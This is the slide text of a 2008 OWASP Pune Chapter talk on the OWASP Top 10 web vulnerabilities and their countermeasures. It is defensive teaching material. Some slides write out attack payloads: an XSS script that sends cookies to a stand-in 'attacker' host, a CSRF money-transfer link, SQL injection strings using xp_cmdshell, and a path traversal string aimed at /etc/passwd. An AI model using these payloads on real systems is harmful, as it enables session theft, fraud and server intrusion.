Owasp Top 10 - Owasp Pune Chapter - January 2008

11,509 views

Published on

Presentation at the OWASP Pune Chapter, Pune, India

Published in: Technology
0 Comments
2 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
11,509
On SlideShare
0
From Embeds
0
Number of Embeds
63
Actions
Shares
0
Downloads
180
Comments
0
Likes
2
Embeds 0
No embeds

No notes for slide
  • Owasp Top 10 - Owasp Pune Chapter - January 2008

    1. 1. Pune, India January 2008
    2. 2. SANS @RISK December 2007 3 Dec 10 Dec 17 Dec 24 Dec 31 Dec Total Microsoft Products 2 3 12 0 2 19 Mac 2 2 2 4 0 10 Linux 10 5 8 11 0 34 Unix, Solaris, etc 5 3 3 4 1 16 Network Device 1 3 1 1 1 7 Others ( various ) 31 33 30 37 16 147 Web Applications 70 34 52 35 52 243
    3. 3. <ul><li>“ The Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software. </li></ul><ul><li>Our mission is to make application security &quot;visible,&quot; so that people and organizations can make informed decisions about application security risks. </li></ul><ul><li>Everyone is free to participate in OWASP and all of our materials are available under an open source license… ” </li></ul>
    4. 4. <ul><li>U.S. Federal Trade Commission </li></ul><ul><li>U.S. Defense Information Systems Agency </li></ul><ul><li>U.S. DOD Information Technology Security Certification and Accreditation (C&A) Process (DITSCAP) </li></ul><ul><li>Payment Card Industry (PCI) standard </li></ul><ul><li>& some of the leading corporations around the globe … </li></ul>
    5. 5. <ul><li>Vulnerability : is a hole or a weakness in the application, which can be a design flaw or an implementation bug, that allows an attacker to cause harm to the stakeholders of an application. </li></ul><ul><li>Threats : A threat is any potential occurrence, malicious or otherwise, that could harm an asset. In other words, a threat is any bad thing that can happen to your assets. </li></ul><ul><li>Attacks : An attack is an action that exploits a vulnerability or enacts a threat. Examples of attacks include sending malicious input to an application or flooding a network in an attempt to deny service. </li></ul><ul><li>Countermeasures : Countermeasures are defensive technologies or modules that are used to detect, deter, or deny attacks. </li></ul>
    6. 7. <ul><li>A1 – Cross Site Scripting (XSS) ...................................................................................................................................... </li></ul><ul><li>A2 – Injection Flaws ...................................................................................................................................... </li></ul><ul><li>A3 – Malicious File Execution ...................................................................................................................................... </li></ul><ul><li>A4 – Insecure Direct Object Reference ...................................................................................................................................... </li></ul><ul><li>A5 – Cross Site Request Forgery (CSRF) ...................................................................................................................................... </li></ul><ul><li>A6 – Information Leakage and Improper Error Handling ...................................................................................................................................... </li></ul><ul><li>A7 – Broken Authentication and Session Management ...................................................................................................................................... </li></ul><ul><li>A8 – Insecure Cryptographic Storage ...................................................................................................................................... </li></ul><ul><li>A9 – Insecure Communications ...................................................................................................................................... </li></ul><ul><li>A10 – Failure to Restrict URL Access ...................................................................................................................................... </li></ul>
    7. 8. OWASP Top 10 2004
    8. 9. <ul><li>Buffer is storage space for data. Buffer overflow occurs when too much data is written into the allocated space. </li></ul><ul><li>It is well known vulnerability </li></ul><ul><li>Attacker will inject data with shellcode into the allocated stack area. By over-writing return addresses he will run his malicious code. </li></ul>
    9. 10. <ul><li>Common software security flaw </li></ul><ul><li>Commonly affect C and C++ </li></ul><ul><li>Google for buffer overflows. </li></ul>
    10. 11. <ul><li>int main(int argc, void ** argv[]) </li></ul><ul><li>{ </li></ul><ul><li> char buff[64]; </li></ul><ul><li> strcpy(buff,argv[1]); </li></ul><ul><li> return 0; </li></ul><ul><li>} </li></ul><ul><li>What will happen if we pass 100 character long string as a argument ???? </li></ul>No Boundary Check
    11. 12. Buffer 1 Return address Other data -------------- --------------
    12. 13. -------------- -------------- x90x90x90x90 x90x90x90x90 x90x90x90x90 x90x90x90x90 x90x90x90x90 Return Address Filled Buffer with NOP’s and Shellcode Shellcode
    13. 14. <ul><li>Occurs when too much data is written into the allocated heap area. </li></ul><ul><li>Generally allocated by malloc(). </li></ul><ul><li>Snippest: </li></ul><ul><li>#define BUFSIZE 256 </li></ul><ul><li>int main(int argc, char **argv) </li></ul><ul><li>{ </li></ul><ul><li>char *buf; buf = (char *)malloc(BUFSIZE); </li></ul><ul><li>strcpy(buf, argv[1]); </li></ul><ul><li>} </li></ul>
    14. 15. <ul><li>It occurs when user supplied input data is processed as a command by an application. </li></ul><ul><li>The application doesn’t validate user supplied data. </li></ul><ul><li>The format string functions are an ANSI C conversion functions like printf, fprintf, sprintf, snprintf etc. </li></ul>
    15. 16. <ul><li>Format String parameters : %d, %c, %d, %n, %s etc </li></ul><ul><li>When passed these arguments may, </li></ul><ul><li>-- read values from the stack </li></ul><ul><li>-- write values on the stack </li></ul><ul><li>-- execute arbitrary code </li></ul><ul><li>Example: </li></ul><ul><li>printf (Input Data); </li></ul>
    16. 17. <ul><li>Old EIP over-write method </li></ul><ul><li>New techniques are evolved </li></ul><ul><li>Structured Exception Handler Over-write </li></ul><ul><li>Heap Spray </li></ul><ul><li>Heap Feng Shui </li></ul><ul><li>Not a part of this presentation </li></ul><ul><li>Demo : Heap Spray  </li></ul>
    17. 18. <ul><li>Avoid using functions such as strcpy (), strcat (), sprintf () and vsprintf () which perform no bounds checking. </li></ul><ul><li>Always check the bounds of an array before writing it to a buffer. </li></ul><ul><li>Validate user supplied data for format string parameters </li></ul><ul><li>Use automated tools like fuzzers to test bo’s </li></ul><ul><li>Manual code review – Best one, needs good efforts from Reviewer </li></ul><ul><li>Follow OWASP guidelines </li></ul><ul><li>www.owasp.org </li></ul>
    18. 19. <ul><li>Exploit Demo using Heap Spray </li></ul>
    19. 21. <ul><li>The attack works by including a link in a webpage or an email that accesses a site to which the user is known to have authenticated. </li></ul><ul><li>Very simple and Dangerous attack </li></ul><ul><li>Got popular in recent times </li></ul><ul><li>Performs GET/POST request of attacker’s choice on behalf of logged in user </li></ul><ul><li>Also known as XSRF, Session Riding, Cross Site Reference Forgery, Hostile Linking etc </li></ul>
    20. 22. <ul><li>It’s just one-click attack (According to MS) </li></ul><ul><li>Malicious request can be embedded in <img>, <href>, <iframe> tags </li></ul><ul><li>Website has a trust in user </li></ul><ul><li>Browser will automatically parse the request based on user session cookies </li></ul><ul><li>Example. Gmail flaw lets anyone to read the friend’s list </li></ul>
    21. 23. <a href=&quot;http://googlified.com.googlepages.com/contactlist.htm&quot;>
    22. 24. <ul><li>Stored CSRF / Persistent </li></ul><ul><li> - Example: Simply store it in <img> tag </li></ul><ul><li>Reflected / Non – Persistent </li></ul><ul><li> - Example: Send a malicious link </li></ul>
    23. 25. www.bank.com Victim Attacker Logging Request Auth Cookies Legitimate Requests Sends an email containing malicious href tag. Click Here Transfer Money <a href= http://www.bank.com/transfer.php?acc=attacker&amount=$10000 > 1 2 3 4 5 6 7
    24. 26. <ul><li>User logs into bank.com using user-id and password. </li></ul><ul><li>The Bank.com sends cookies to the user if he is valid one for later authentication. </li></ul><ul><li>User performs other request like balance enquiry etc. </li></ul><ul><li>While user is online, he receives an email saying you have own $1,00,000. </li></ul><ul><li>Innocent user clicks on the link without any concern. </li></ul><ul><li>The link contains malicious fund transfer request. </li></ul><ul><li>The request is sent to the bank.com by the browser treating it is a valid one. </li></ul><ul><li>The money gets transferred to the attacker. </li></ul>
    25. 27. <ul><li>Use security tokens or security key for every request URL and form posting </li></ul><ul><li>Use POST request instead of GET </li></ul><ul><li>Referrer header field check </li></ul><ul><li>Manual testing for CSRF </li></ul><ul><li>Re-authenticate the user for critical operations </li></ul><ul><li>Log off before visiting unknown domains </li></ul>
    26. 28. <ul><li>Use POST request instead of GET  Alone it is not sufficient, can be done using XmlHttpRequest using javascript </li></ul><ul><li>Referrer header field check  Can be spoofed </li></ul><ul><li>Best is to use random tokens/keys for every request </li></ul>
    27. 29. <ul><li>ViewStateUserKey :Assigns an identifier to an individual user in the view state variable associated with the current page </li></ul><ul><li>ASP. net property that helps you to prevent CSRF attacks </li></ul><ul><li>Set this property to user-id or session id </li></ul>
    28. 30. <ul><li>Wiki Website  </li></ul>
    29. 32. <ul><li>XSS allow script to be executed at client side. </li></ul><ul><li>Website allows a user to inject arbitrary HTML Code </li></ul><ul><li>Exists due to bad input validation </li></ul><ul><li>Forces a website to echo attacker’s supplied code </li></ul><ul><li>Compromises trust between user and website </li></ul>
    30. 33. <ul><li>May steal cookies, redirect you to another location </li></ul><ul><li>Different from CSRF (cross site request forgery) </li></ul><ul><li>Very known old bug </li></ul><ul><li>Can be used for phishing </li></ul>
    31. 34. <ul><li>Simple XSS :- </li></ul><ul><li><script> alert (‘XSS’) </script> </li></ul><ul><li>Attack : http://test.com/test.php?var=<script>alert(‘XSS’)</script >; </li></ul><ul><li>Attack: </li></ul><ul><li><a href= http://test.com/test.php?var=<script>alert(‘XSS’)</script>; ></a> </li></ul><ul><li>Attack: </li></ul><ul><li><script>document.location=“http://attacker/steal_cookies.php?cookies=“+ document.cookie </script> </li></ul>
    32. 35. <ul><li>Reflected XSS / Persistent </li></ul><ul><li>Stored XSS / Non – Persistent </li></ul><ul><li>DOM Based XSS </li></ul>
    33. 36. <ul><li>Easiest to exploit </li></ul><ul><li>Immediate response to HTTP request </li></ul><ul><li>Page directly reflect user supplied data back to user </li></ul><ul><li>Typically search engine results, error messages </li></ul><ul><li>May reach you from email messages </li></ul>
    34. 37. Reflected XSS BID - 21534
    35. 38. <ul><li>Stores XSS in a database or file </li></ul><ul><li>Stored permanently </li></ul><ul><li>Very dangerous for blogs, forums </li></ul><ul><li>Large number of victim gets affected while accessing stored XSS </li></ul><ul><li>Eg. </li></ul><ul><li>Samy Worm -- MySpace Worm </li></ul><ul><li>JS-Yamanner – Yahoo Worm </li></ul>
    36. 40. <ul><li>Don’t send the malicious data to the server in the first place </li></ul><ul><li>Insecure object reference and use of DOM objects that are not fully controlled by the server provided page </li></ul><ul><li>Objects: location, URL, referrer etc </li></ul><ul><li>Example: document.location + $username </li></ul>
    37. 41. www.bank.com Victim Attacker Logging Request Auth Cookies Legitimate Requests Click Here Stolen Cookies 1 2 3 4 5 6 7 Sends malicious request <script>document. location=“http://attacker/steal_cookies.php?cookies=“+document. cookie</script>
    38. 42. <ul><li>Powerful language </li></ul><ul><li>Attacker can manipulate the webpage </li></ul><ul><li>Can add new elements or change the look of the page </li></ul><ul><li>Mostly used in XSS attack </li></ul><ul><li>XSS can be carried out using VBScript, Activex, Flash etc </li></ul>
    39. 43. <ul><li>HTML injection plus XSS </li></ul><ul><li>Attacker used <embed> tag and Flash </li></ul><ul><li>Orkut application failed to parse user supplied data </li></ul><ul><li>Affected 7,00,000 accounts in 24 hours </li></ul><ul><li>The worm only forces victim to join attacker’s own community. </li></ul><ul><li>Attacker can have done even worse !!! </li></ul>
    40. 44. <ul><li>Application copied all the data after wmode </li></ul><ul><li>The code gets converted into javascript and flash object </li></ul><ul><li>Attacker successfully inserted other script which will run his malicious code </li></ul><ul><li>Orkut has patched this bug  </li></ul>
    41. 45. <ul><li>Validate or encode all input parameters </li></ul><ul><li>Output Encoding </li></ul><ul><li>Output Encoding - Microsoft AntiXSS Library </li></ul><ul><li>Filter every parameter of the request including header fields mainly <, > </li></ul><ul><li>Check for length, type, syntax….. </li></ul><ul><li>Use automated tools for finding XSS – Microsoft XSS Detect </li></ul><ul><li>Use NoScript plug-in for firefox </li></ul><ul><li>Disable Javascript if possible </li></ul><ul><li>Don’t trust on suspicious emails </li></ul><ul><li>Don’t visit untrusted websites </li></ul>
    42. 46. Injection Flaws
    43. 47. <ul><li>SQL Injection </li></ul><ul><li>The ability to inject SQL commands into the database engine through an existing application. </li></ul><ul><li>How common it is? </li></ul><ul><li>It is probably the most common Web application vulnerability. </li></ul><ul><li>It is a flaw in &quot;web application&quot; development, it is not a DB or web server problem. </li></ul><ul><ul><li>Most programmers are still not aware of this problem. </li></ul></ul><ul><ul><li>A lot of the tutorials & demo “templates” are vulnerable. </li></ul></ul><ul><ul><li>Even worse, a lot of solutions posted on the Internet are not good enough. </li></ul></ul>
    44. 48. <ul><li>Almost all SQL databases and programming languages are potentially vulnerable </li></ul><ul><ul><li>MS SQL Server, Oracle, MySQL, Postgresql, DB2, MS Access, Sybase, Informix, etc </li></ul></ul><ul><li>Accessed through applications developed using: </li></ul><ul><ul><li>Perl and CGI scripts that access databases </li></ul></ul><ul><ul><li>ASP, JSP, PHP </li></ul></ul><ul><ul><li>XML, XSL and XSQL </li></ul></ul><ul><ul><li>Javascript </li></ul></ul><ul><ul><li>VB, MFC, and other ODBC-based tools and APIs </li></ul></ul><ul><ul><li>DB specific Web-based applications and API’s </li></ul></ul><ul><ul><li>Reports and DB Applications </li></ul></ul><ul><ul><li>3 and 4GL-based languages (C, OCI, Pro*C, and COBOL) </li></ul></ul><ul><ul><li>many more </li></ul></ul>
    45. 49. <ul><li>Extracting data from Metadata </li></ul><ul><li>OS Interaction </li></ul><ul><ul><li>'; exec master..xp_servicecontrol 'start','FTP Publishing' – </li></ul></ul><ul><li>Assessing Network Connectivity </li></ul><ul><ul><li>'; exec master..xp_cmdshell 'ping MyIP' -- </li></ul></ul>
    46. 51. <ul><ul><li>How does an attacker detect SQL Injection vulnerabilities on a web page? </li></ul></ul><ul><ul><ul><li>SQL Error messages </li></ul></ul></ul><ul><ul><ul><ul><li>Breaks the query syntax and looks for error messages. </li></ul></ul></ul></ul><ul><ul><ul><li>SQL Disclosure </li></ul></ul></ul><ul><ul><ul><ul><li>Injects variations of OR 1=1 and looks for Table growth. </li></ul></ul></ul></ul><ul><ul><ul><ul><li>Union injection approach. </li></ul></ul></ul></ul><ul><ul><ul><li>Blind SQL Injection </li></ul></ul></ul><ul><ul><ul><ul><li>Injects True injection string ‘OR 1=1 and False Injection strings ‘AND 1=0 </li></ul></ul></ul></ul><ul><ul><ul><ul><li>Compare original response, true response and false response. </li></ul></ul></ul></ul><ul><ul><ul><li>SQL Injection Time delay </li></ul></ul></ul><ul><ul><ul><ul><li>Targets the Insert, Update, Delete queries vulnerable to SQL Injection. </li></ul></ul></ul></ul><ul><ul><ul><ul><li>Causes delay in execution of the query and obtains delay time. </li></ul></ul></ul></ul><ul><ul><ul><ul><li>Compare default time and delay time to determine the vulnerability. </li></ul></ul></ul></ul><ul><ul><ul><ul><li>Note: Time delay SQL clauses are database specific. </li></ul></ul></ul></ul>
    47. 52. <ul><ul><li>SQL Error Messages </li></ul></ul><ul><ul><li>Try to break syntax of SQL query </li></ul></ul><ul><ul><ul><li>Injection Strings: </li></ul></ul></ul><ul><ul><ul><li>‘ </li></ul></ul></ul><ul><ul><ul><li>1) </li></ul></ul></ul><ul><ul><ul><li>')); </li></ul></ul></ul><ul><ul><ul><li>Detection Strings: </li></ul></ul></ul><ul><ul><ul><li>java.sql.SQLException </li></ul></ul></ul><ul><ul><ul><li>Internal Servlet Error: </li></ul></ul></ul><ul><ul><ul><li>MySQL Error : </li></ul></ul></ul><ul><ul><ul><li>Oracle SQL invalidation </li></ul></ul></ul><ul><ul><ul><li>Sybase/MSSQL SQL invalidation </li></ul></ul></ul><ul><ul><ul><li>error in your SQL syntax </li></ul></ul></ul><ul><ul><ul><li>ODBC Microsoft Access Driver] Syntax error </li></ul></ul></ul>
    48. 53. <ul><ul><li>Blind SQL Injection </li></ul></ul><ul><ul><li>Determine if a page is vulnerable based on responses to TRUE/FALSE queries </li></ul></ul><ul><ul><li>Base query </li></ul></ul><ul><ul><ul><li>select * from table where col1 = ‘x’; </li></ul></ul></ul><ul><ul><ul><li>Store response R0 </li></ul></ul></ul><ul><ul><li>TRUE query </li></ul></ul><ul><ul><ul><li>Inject: ‘ OR 1=1; -- </li></ul></ul></ul><ul><ul><ul><li>Injected query: select * from table where col1 = ‘x’ OR 1=1 ;-- </li></ul></ul></ul><ul><ul><ul><li>Store response R1 </li></ul></ul></ul><ul><ul><li>FALSE query </li></ul></ul><ul><ul><ul><li>Inject: ‘ AND 1=0; -- </li></ul></ul></ul><ul><ul><ul><li>Injected query: select * from table where col1 = ‘x’ AND 1=0; -- </li></ul></ul></ul><ul><ul><ul><li>Store response R2 </li></ul></ul></ul><ul><ul><li>If ( R0 is identical with R1/R0 is identical with R2) and R1 differs from R2 , page is vulnerable to exploitation via Blind SQL injection technique </li></ul></ul>
    49. 54. <ul><ul><li>SQL Injection – Time delay </li></ul></ul><ul><ul><li>Determine if a page is vulnerable based on default response time and delayed </li></ul></ul><ul><ul><li>response time. </li></ul></ul><ul><ul><li>Default response time </li></ul></ul><ul><ul><ul><li>Obtain the default response time per field by breaking the query - defaultTimeUsed . </li></ul></ul></ul><ul><ul><li>Delayed response time </li></ul></ul><ul><ul><ul><li>Inject “; waitfor delay ’00:00:15’” in the application query for every field. </li></ul></ul></ul><ul><ul><ul><li>Obtain the delayed response time - actualTime . </li></ul></ul></ul><ul><ul><li>If actualTime > defaultTimeUsed + timeSpread - 500, page is vulnerable to SQL injection. (500 ms discrepancy allowed.) </li></ul></ul>
    50. 55. <ul><ul><li>How to prevent SQL Injection? </li></ul></ul><ul><ul><li>Development phase </li></ul></ul><ul><ul><ul><li>Input validation </li></ul></ul></ul><ul><ul><ul><li>Parametrized queries </li></ul></ul></ul><ul><ul><li>QA phase </li></ul></ul><ul><ul><ul><li>Source code auditing </li></ul></ul></ul><ul><ul><ul><li>Hack your own web application </li></ul></ul></ul><ul><ul><li>Production phase </li></ul></ul><ul><ul><ul><li>Web application firewall (Intrusion Detection System) </li></ul></ul></ul>
    51. 56. <ul><ul><li>Sample secure code </li></ul></ul><ul><ul><li>Input validation </li></ul></ul><ul><ul><li>if (<validating_condition>) </li></ul></ul><ul><ul><li>String sqlQuery = “SELECT * FROM users WHERE userid = ‘” + username + ‘”; </li></ul></ul><ul><ul><li>else </li></ul></ul><ul><ul><li>throw new IllegalArgumentException(); </li></ul></ul><ul><li>if (<validating_condition>) could be a simple length check, such as: </li></ul><ul><ul><ul><li>if (username.length() < MAX_POSSIBLE_LENGTH) </li></ul></ul></ul><ul><ul><ul><li>if ( username.matches(“[0-9a-zA-Z’]*”) ) </li></ul></ul></ul><ul><ul><ul><li>if ( username.matches(“[A-Z0-9._%-]+@[A-Z0-9.-]+.[A-Z]{2,4}”) ) </li></ul></ul></ul>
    52. 57. <ul><ul><li>Sample secure code </li></ul></ul><ul><ul><li>Prepared statement String username = httpRequest.getParameter(“username”); </li></ul></ul><ul><li>String query = “SELECT * FROM users WHERE userid = ?”; </li></ul><ul><li>PreparedStatement stmt = db_conn.prepareStatement(query); </li></ul><ul><li>stmt.setString(1, username); </li></ul><ul><li>ResultSet results = stmt.executeQuery(); </li></ul>
    53. 58. <ul><ul><li>SQL Injection is one of the most dangerous attack in the Web application security world. </li></ul></ul><ul><ul><li>An attacker can not only access the information thatshould be normally be inaccessible but also steal your money electronically. </li></ul></ul><ul><ul><li>Never underestimate SQL Injection vulnerability and secure your application right from the development tothe production phase. </li></ul></ul>
    54. 60. <ul><li>OWASP Definition: </li></ul><ul><ul><li>Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise. </li></ul></ul><ul><ul><li>Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users. </li></ul></ul>
    55. 61. <ul><li>A common vulnerable construct is: include $_REQUEST['filename’]; Not only does this allow evaluation of remote hostile scripts, it can be used to access local file servers (if PHP is hosted upon Windows) due to SMB support in PHP’s file system wrappers. Other methods of attack include: </li></ul><ul><li>Hostile data being uploaded to session files, log data, and via image uploads (typical of forum software) </li></ul><ul><li>Using compression or audio streams, such as zlib:// or ogg:// which do not inspect the internal PHP URL flag and thus allow access to remote resources even if allow_url_fopen or allow_url_include is disabled </li></ul><ul><li>Using PHP wrappers, such as php://input and others to take input from the request POST data rather than a file </li></ul><ul><li>Using PHP’s data: wrapper, such as data:;base64,PD9waHAgcGhwaW5mbygpOz8+ </li></ul>
    56. 62. <ul><li>Do not allow user input to be used for any part of a file or path name. </li></ul><ul><li>Where user input must influences a file name or URL, use a fully enumerated list to positively validate the value. </li></ul><ul><li>File uploads have to be done VERY carefully. </li></ul><ul><ul><li>Only allow uploads to a path outside of the webroot so it can not be executed </li></ul></ul><ul><ul><li>Validate the file name provided so that a directory path is not included. </li></ul></ul><ul><ul><li>Implement or enable sandbox or chroot controls which limit the applications access to files. </li></ul></ul>
    57. 63. Insecure Direct Object Reference
    58. 64. <ul><li>OWASP Definition: </li></ul><ul><ul><li>A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Attackers can manipulate those references to access other objects without authorization. </li></ul></ul>
    59. 65. <ul><li>Many applications expose their internal object references to users. Attackers use parameter tampering to change references and violate the intended but unenforced access control policy. Frequently, these references point to file systems and databases, but any exposed application construct could be vulnerable. </li></ul><ul><li>For example, if code allows user input to specify filenames or paths, it may allow attackers to jump out of the application’s directory, and access other resources. </li></ul><ul><li><select name=&quot;language&quot;><option value=&quot;fr&quot;> Français </option> </select> … require_once ($_REQUEST['language’].&quot;lang.php&quot;); </li></ul><ul><li>Such code can be attacked using a string like &quot;../../../../etc/passwd%00&quot; using null byte injection (see the OWASP Guide for more information) to access any file on the web server’s file system </li></ul>
    60. 66. <ul><li>Avoid exposing private object references to users whenever possible, such as primary keys or filenames </li></ul><ul><li>Validate any private object references extensively with an &quot;accept known good&quot; approach </li></ul><ul><li>Verify authorization to all referenced objects </li></ul>
    61. 68. <ul><li>OWASP Definition: </li></ul><ul><ul><li>Applications can unintentionally leak information about their configuration, internal workings, or violate privacy through a variety of application problems. Attackers use this weakness to steal sensitive data or conduct more serious attacks. </li></ul></ul>
    62. 69. <ul><li>Applications frequently generate error messages and display them to users. Many times these error messages are quite useful to attackers, as they reveal implementation details or information that is useful in exploiting a vulnerability. There are several common examples of this: </li></ul><ul><li>Detailed error handling, where inducing an error displays too much information, such as stack traces, failed SQL statements, or other debugging information </li></ul><ul><li>Functions that produce different results based upon different inputs. For example, supplying the same username but different passwords to a login function should produce the same text for no such user, and bad password. However, many systems produce different error codes </li></ul>
    63. 70. <ul><li>Prevent display of detailed internal error messages including stack traces, messages with database or table names, protocols, and other error codes. (This can provide attackers clues as to potential flaws.) </li></ul><ul><li>Good error handling systems should always enforce the security scheme in place while still being able to handle any feasible input. </li></ul><ul><li>Provide short error messages to the user while logging detailed error information to an internal log file. </li></ul><ul><ul><li>Diagnostic information is available to site maintainers </li></ul></ul><ul><ul><li>Vague messages indicating an internal failure provided to the users </li></ul></ul><ul><li>Provide just enough information to allow what is reported by the user to be able to linked the internal error logs. For example: System Time-stamp, client IP address, and URL </li></ul>
    64. 71. <ul><li>Ensure sensitive responses with multiple outcomes return identical results </li></ul><ul><li>Save the different responses and diff the html, the http headers & URL. </li></ul><ul><li>Ensure error messages are returned in roughly the same time. or consider imposing a random wait time for all transactions to hide this detail from the attacker. </li></ul>
    65. 73. <ul><li>OWASP Definition: </li></ul><ul><ul><li>Account credentials and session tokens are often not properly protected. Attackers compromise passwords, keys, or authentication tokens to assume other users’ identities. </li></ul></ul>
    66. 74. <ul><li>HTTP/s Protocol does not provide tracking of a users session. </li></ul><ul><li>Session tracking answers the question: </li></ul><ul><ul><li>After a user authenticates how does the server associate subsequent requests to the authenticated user? </li></ul></ul><ul><li>Typically, Web Application Vendors provide a built-in session tracking, which is good if used properly. </li></ul><ul><li>Often developers will make the mistake of inventing their own session tracking. </li></ul><ul><li>Cookie Cruncher </li></ul>
    67. 75. <ul><li>Flaws in the main authentication mechanism are not uncommon, but weaknesses are more often introduced through ancillary authentication functions such as logout, password management, timeout, remember me, secret question, and account update. </li></ul>
    68. 76. <ul><li>Session ID is disclosed or is guessed. </li></ul><ul><li>An attacker using the same session ID has the same privileges as the real user. </li></ul><ul><li>Especially useful to an attacker if the session is privileged. </li></ul><ul><li>Allows initial access to the Web application to be combined with other attacks. </li></ul>
    69. 77. <ul><li>Use long complex random session ID that cannot be guessed. </li></ul><ul><li>Protect the transmission and storage of the Session ID to prevent disclosure and hijacking. </li></ul><ul><li>A URL query string should not be used for Session ID or any User/Session information </li></ul><ul><ul><li>URL is stored in browser cache </li></ul></ul><ul><ul><li>Logged via Web proxies and stored in the proxy cache </li></ul></ul><ul><li>Example: </li></ul><ul><li>https://www.example.net/servlet/login ?userid=ralph&password=dumb </li></ul>
    70. 78. <ul><li>Password Change Controls - require users to provide both old and new passwords </li></ul><ul><li>Forgotten Password Controls - if forgotten passwords are emailed to users, they should be required to re-authenticate whenever they attempt to change their email address. </li></ul><ul><li>Password Strength - require at least 7 characters, with letters, numbers, and special characters both upper case and lower case. </li></ul><ul><li>Password Expiration - Users must change passwords every 90 days, and administrators every 30 days. </li></ul>
    71. 79. <ul><li>Password Storage - never store passwords in plain text. Passwords should always be stored in either hashed (preferred) or encrypted form. </li></ul><ul><li>Protecting Credentials in Transit - to prevent &quot;man-in-the-middle&quot; attacks the entire authenticated session / transaction should be encrypted SSLv3 or TLSv1 </li></ul><ul><li>Man-in-the-middle attacks - are still possible with SSL if users disable or ignore warnings about invalid SSL certificates. </li></ul><ul><li>Replay attacks - Transformations such as hashing on the client side provide little protection as the hashed version can simply be intercepted and retransmitted so that the actual plain text password is not needed. </li></ul>
    72. 80. login.asp homepage.asp login.asp homepage.asp logoff Client Server GET www.abc.com www.abc.com/login.asp POST username + password www.abc.com/homepage.asp
    73. 81. login.asp authenticate.asp login.asp Redirect request logoff homepage.asp homepage.asp Client Server GET www.abc.com www.abc.com/login.asp POST username + password Redirect : www.abc.com/homepage.asp GET www.abc.com/homepage.asp www.abc.com/homepage.asp
    74. 82. <ul><li>OWASP Definition: </li></ul><ul><ul><li>Web applications rarely use cryptographic functions properly to protect data and credentials. Attackers use weakly protected data to conduct identity theft and other crimes, such as credit card fraud. </li></ul></ul>
    75. 83. <ul><li>Preventing cryptographic flaws takes careful planning. The most common problems are: </li></ul><ul><li>Not encrypting sensitive data </li></ul><ul><li>Using home grown algorithms </li></ul><ul><li>Insecure use of strong algorithms </li></ul><ul><li>Continued use of proven weak algorithms (MD5, SHA-1, RC3, RC4, etc…) </li></ul><ul><li>Hard coding keys, and storing keys in unprotected stores </li></ul>
    76. 84. <ul><li>Improper/insecure storage of passwords, certifications, and keys </li></ul><ul><li>Poor choice of algorithm </li></ul><ul><li>Poor source of randomness for initialization vectors </li></ul><ul><li>Attempting to develop a new encryption scheme &quot;in house” (Always a BAD idea) </li></ul><ul><li>Failure to provide functionality to change encryption keys </li></ul>1] SQL credentials 2] x = input(); y=f(x);
    77. 85. <ul><li>Do not create cryptographic algorithms. Only use approved public algorithms such as AES, RSA public key cryptography, and SHA-256 or better for hashing. </li></ul><ul><li>Do not use weak algorithms, such as MD5 / SHA1. Favor safer alternatives, such as SHA-256 or better </li></ul><ul><li>Generate keys offline and store private keys with extreme care. </li></ul><ul><li>Never transmit private keys over insecure channels </li></ul><ul><li>Ensure that infrastructure credentials such as database credentials or MQ queue access details are properly secured. </li></ul><ul><li>Ensure that encrypted data stored on disk is not easy to decrypt. </li></ul>
    78. 86. <ul><li>OWASP Definition: </li></ul><ul><ul><li>Applications frequently fail to encrypt network traffic when it is necessary to protect sensitive communications . </li></ul></ul>
    79. 87. <ul><li>Failure to encrypt sensitive communications means that an attacker who can sniff traffic from the network will be able to access the conversation, including any credentials or sensitive information transmitted. </li></ul><ul><li>Using SSL for communications with end users is critical, as they are very likely to be using insecure networks to access applications. Because HTTP includes authentication credentials or a session token with every single request, all authenticated traffic needs to go over SSL, not just the actual login request. </li></ul><ul><li>Encrypting communications with backend servers is also important. Although these networks are likely to be more secure, the information and credentials they carry is more sensitive and more extensive. Therefore using SSL on the backend is quite important. </li></ul>
    80. 88. <ul><li>Use SSL for all connections that are authenticated or transmitting sensitive or value data, such as credentials, credit card details, health and other private information </li></ul><ul><li>Ensure that communications between infrastructure elements, such as between web servers and database systems, are appropriately protected via the use of transport layer security or protocol level encryption for credentials and intrinsic value data </li></ul><ul><li>Under PCI Data Security Standard requirement 4, you must protect cardholder data in transit. PCI DSS compliance is mandatory by 2008 for merchants and anyone else dealing with credit cards. </li></ul>
    81. 89. <ul><li>OWASP Definition: </li></ul><ul><ul><li>Frequently, an application only protects sensitive functionality by preventing the display of links or URLs to unauthorized users. Attackers can use this weakness to access and perform unauthorized operations by accessing those URLs directly. </li></ul></ul>
    82. 90. <ul><li>The primary attack method for this vulnerability is called &quot;forced browsing&quot;, which encompasses guessing links and brute force techniques to find unprotected pages. </li></ul><ul><li>Applications frequently allow access control code to evolve and spread throughout a codebase, resulting in a complex model that is difficult to understand for developers and security specialists alike. </li></ul><ul><li>This complexity makes it likely that errors will occur and pages will be missed, leaving them exposed. . </li></ul>
    83. 91. <ul><li>Ensure the access control matrix is part of the business, architecture, and design of the application </li></ul><ul><li>Ensure that all URLs and business functions are protected by an effective access control mechanism </li></ul><ul><li>Perform a penetration test </li></ul><ul><li>Pay close attention to include/library files </li></ul><ul><li>Do not assume that users will be unaware of special or hidden URLs or APIs. </li></ul><ul><li>Block access to all file types that your application should never serve. </li></ul><ul><li>Keep up to date with virus protection and patches </li></ul>
    84. 92. <ul><li>OWASP “THE TEN MOST CRITICAL WEB APPLICATION SECURITY VULNERABILITIES” 2007 Update ( www.owasp.org ) </li></ul><ul><li>Microsoft :: Improving Web Application Security : Threats and Countermeasures </li></ul><ul><li>( http://www.microsoft.com/downloads/details.aspx?familyid=E9C4BFAA-AF88-4AA5-88D4-0DEA898C31B9&displaylang=en ) </li></ul><ul><li>SANS @Risk ( www.sans.org ) </li></ul><ul><li>SPI Dynamics ( http://spidynamics.com/index.html ) </li></ul><ul><li>FoundStone HacMe resources </li></ul><ul><li>( http://www.foundstone.com/us/resources-free-tools.asp ) </li></ul>
    85. 93. <ul><li>[email_address] </li></ul><ul><li>[email_address] </li></ul><ul><li>[email_address] </li></ul>

    ×